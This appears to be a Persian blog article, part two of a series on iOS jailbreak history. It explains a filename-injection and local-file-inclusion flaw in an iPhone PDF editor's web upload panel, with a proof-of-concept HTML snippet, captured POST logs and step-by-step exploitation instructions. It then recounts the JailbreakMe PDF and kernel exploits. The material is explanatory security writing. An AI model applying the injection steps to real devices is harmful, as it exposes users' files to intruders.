نگاهی بر جیلبریک از گذشته تا امروز ( قسمت دوم )

در ادامه‌ی قسمت اول مقاله‌ی نگاهی بر جیلبریک از گذشته تا امروز، برای اینکه قبل از شروع کار اصلی، آشنایی مختصری با نوع فکر کردن و دید نسبت به آسیب پذیری های جزیی در زمینه ی جیلبرک پیدا کنید، تصمیم به شرح آسیب پذیری که چندی پیش در یکی از نرم افزار های معروف در زمینه ویرایش و ساخت فایل های PDF روی آیفون و آیپد پیدا شده بود گرفتم.

البته ناگفته نماند که از این به بعد مباحث کمی تخصصی تر میشوند و نیازمند کمی جست و جو و وقت بیشتر برای درک موضوعات مورد بحث است.


screen568x568

PDF Converter & Text Editor

By Dixant Vijayvargiya

Text Editor & PDF Creator is your all-in-one document management solution for iPhone, iPod touch and iPad.
It can catch documents from PC or Mac via USB cable or WIFI, email attachments, Dropbox and box and save it on your iPhone, iPod Touch or iPad locally.

لینک این نرم افزار در اپ استور

این آسیب پذیری از نوع local file include بوده و به هکر اجازه میدهد که بتواند از راه دور فایل یا پوشه ای ایجاد نماید و یا به فایل یا پوشه خاصی دسترسی پیدا کند, البته قبل از هر چیز این را در نظر بگیرید که در وضعیت فعلی چنین آسیب پذیری به آسانی منتهی به جیلبرک نمیشود، چرا که هر برنامه در سیستم عامل iOS به صورت Sandbox اجرا شده و به سایر قسمت های سیستم عامل دسترسی ندارد!

 

در واقع سند باکس یک سیستم حفاظتی قدرتمند است که این روزها در اکثر برنامه ها به کار گرفته می شود. به عنوان مثال مرورگرها. اما این سیستم حفاظتی به صورت دقیق چکار میکند؟ سند باکس در واقع یک محیط بسته ایجاد می کند تا اگر یک برنامه مخرب بود و یا محتوایی که از طریق آن به کامپیوتر شما راه پیدا کرده است مخرب باشد، مشکلی متوجه سیستم شما نشود.
چنین آسیب پذیری تنها در صورتی منتهی به جیلبرک میشود که شما راهی برای دور زدن این محیط سندباکس پیدا کنید, که البته چندان دور از فکر هم نیست. در مباحث بعدی پس از بررسی جیلبرک های اخیر گروه TaiG میتوانید به این موضوع پی ببرید که ایده ها و آسیب پذیری های ساده میتوانند چه نقش بزرگی داشته باشند.

 

در این مثال آسیب پذیری در مقدار “filename” در ماژول “submit upload” وجود دارد. در اینجا هکر میتواند با قرار دادن کد مورد نظر خود به عنوان اسم فایل و سپس آپلود آن از طریق پنل تحت وب برنامه کد های خود را اجرا کند. لازم به ذکر است که اینکار به آسانی و از طریق متد POST انجام میگیرد و نیاز به هیچگونه دسترسی سطح مدیریت و… ندارد.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] Submit (Upload)

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] Index File Dir Listing (http://localhost:52437/)

PoC: Upload File (http://localhost:52437/Box/)
<div id=”module_main”><bq>Files</bq><p><a href=”..”>..</a><br>
<a href=”<iframe>2.png”><../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png</a> ( 0.5 Kb, 2015-04-30 10:58:46 +0000)<br />
</p><form action=”” method=”post” enctype=”multipart/form-data” name=”form1″ id=”form1″><label>upload file<input type=”file” name=”file” id=”file” /></label><label><input type=”submit” name=”button” id=”button” value=”Submit” /></label></form></div></center></body></html></iframe></a></p></div>

— PoC Session Logs [POST] (LFI – Filename) —
Status: 200[OK]
POST http://localhost:52437/Box/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[3262] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:52437]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:52437/Box/]
Connection[keep-alive]
POST-Daten:
POST_DATA[—————————–321711425710317
Content-Disposition: form-data; name=”file”; filename=”../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png”
Content-Type: image/png

برای انجام حمله موفق در این روش، نیاز است مراحل زیر را انجام دهید:

1. ابتدا برنامه مورد نظر را روی دستگاه خود نصب کنید
2. برنامه را اجرا کنید و وب سرور را فعال کنید
3. صفحه تحت وب برنامه را در مرورگر اینترنت کامپیوتر خود باز کنید (localhost:52437) توجه داشته باشید که به جای عبارت localhost باید IP دستگاه خود را قرار دهید
4. یک سِشِن (Session) برای دیدن و ویرایش درخواست ها در صفحه مورد نظر با استفاده از برنامه Tamper Data و یا Tamper Chrome ایجاد کنید
5. حالا با ویرایش درخواست اسم فایل مورد نظر را با دستوری که میخواهید اجرا شود جا به جا کنید
6. درخواست را ذخیره کنید و دستور انجام ادامه کار را بدهید
7. کد مورد نظر ما در شاخه اصلی پنل تحت وب اجرا میشود (localhost:52437)
8. حال یکبار دیگر همان فایل را بدون ایجاد تغییرات در درخواست آپلود کنید
9. خوب تبریک میگوییم شما از یک آسیب پذیری به نفع خودتان استفاده کردید

خوب در اینجا ما موفق شدیم که از یک آسیب پذیری ساده به نفع خودمان استفاده کنیم, اما هدف از ساختن یک پیلود (Payload) که یک فایل خاص را به تمام فایل های آپلود شده پیوند میزند, چیست؟

star
اگر کمی در جیلبرک های iOS برگردیم عقب نام برنامه نام آشنای JailbreakMe به چشمان میخورد. این برنامه یکی از اولین جیلبرک های ساخته شده در Userland میباشد که از ورژن 3.1.2 سر و کله اش پیدا شد. اساس کار برنامه بسیار ساده تر از چیزی بود که در بالا توضیح دادیم. (البته اگر صرفا نوع اجرای عملیات و نه کد نویسی را در نظر بگیریم)
در آن زمان باگی در فایل های PDF پیدا شده بود که به هکر اجازه میداد کد مورد نظر خود را بدون داشتن دسترسی مدیریت اجرا کند. در این زمان هم Comex از این موضوع سوء استفاده کرد و با طراحی کردن سایتی که کاربر را به سمت PDF مورد نظر هدایت میکرد ابزار جیلبرک جدیدی را به وجود آورد. البته در نهایت از یکی از باگهای تحت کرنل (IOSurface.framework) برای گرفتن دسترسی روت (root) استفاده شده بود.

https://www.theiphonewiki.com/wiki/Malformed_CFF_Vulnerability

https://www.theiphonewiki.com/wiki/IOSurface_Kernel_Exploit

اگر علاقه مند به اطلاعات بیشتر هستید میتوانید از لینک زیر استفاده کنید:

https://www.theiphonewiki.com/wiki/Star

خوب با این تفاسیر چندان دور از انتظار نیست که روزی شما هم چنین باگی پیدا کنید و در طی یک فرایند این چنینی جیلبرک جدیدی عرضه کنید. من همیشه اعتقاد داشتم هکر کسی است که بتواند به ساده ترین شکل مشکلات را حل کند، نه فقط در زمینه کامپیوتر، بلکه هر مشکلی! پس از خلاقیت خود استفاده کنید.
امیدوارم خود شما در هر بخش تحقیقات لازم را انجام دهید زیرا در اینجا تنها توضیح مختصری از روش انجام کار گفته میشود.

 

در بخش بعد خواهید خواند

در بخش بعد به بررسی نحوه کار جیلبرک TaiG برای ورژن 8 تا 8.1.2 میپردازیم و مو به مو روی تمامی فایل های آن بحث میکنیم و با مباحث مربوط به مهندسی معکوس آشنا میشویم. اگر این مطلب براتون مفید بود لطفا به اشتراک بگذارید تا دیگر دوستانتان هم استفاده کنند؛ درضمن نظرات و سوال های خودتان هم درمورد جیلبریک و هم درمورد اطلاعاتی که در این باره میخواهید بدانید را در قسمت نظرات مطرح کنید.